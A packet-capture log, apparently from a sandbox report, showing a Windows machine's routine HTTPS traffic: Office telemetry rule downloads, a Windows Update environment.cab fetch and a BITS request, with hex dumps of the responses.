2024-11-27 15:34:30 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 417b6c53-401e-0029-0d91-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153431Z-174f7845968vqt9xhC1EWRgten0000000x70000000007hbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.7	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:31 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153431Z-174f7845968cdxdrhC1EWRg0en0000000x1000000000huep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:31 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:31 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8ffa3a67-401e-0078-2e55-404d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153431Z-174f7845968l4kp6hC1EWRe8840000000xag00000000gke7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:31 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:31 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153431Z-174f78459685m244hC1EWRgp2c0000000x20000000001esc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:31 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153431Z-174f7845968kvnqxhC1EWRmf3g0000000ftg00000000rfru x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49727	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:31 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=7VDkYBFS+RsHNE7&MD=Hwtk8Gd+ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-27 15:34:32 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 4b2cbee4-f705-47b4-a1be-f305e3bdbf4c MS-RequestId: bf3fdf72-bbf5-4cf5-9e01-17ab4454a44c MS-CV: Q1ub0lhUdU60OkRT.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 27 Nov 2024 15:34:31 GMT Connection: close Content-Length: 24490
2024-11-27 15:34:32 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-27 15:34:32 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:33 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153433Z-174f7845968swgbqhC1EWRmnb40000000x7g00000000gr80 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49744	23.52.182.8	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:33 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-27 15:34:33 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=125143 Date: Wed, 27 Nov 2024 15:34:33 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:33 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153433Z-174f7845968xlwnmhC1EWR0sv80000000wvg00000000pbuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:33 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153433Z-174f7845968cdxdrhC1EWRg0en0000000wyg00000000tn76 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:33 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:33 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:33 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153433Z-174f7845968kvnqxhC1EWRmf3g0000000ftg00000000rfz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:33 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:33 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 867d2b5c-a01e-00ab-7d37-409106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153433Z-174f7845968xlwnmhC1EWR0sv80000000wxg00000000gfmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> 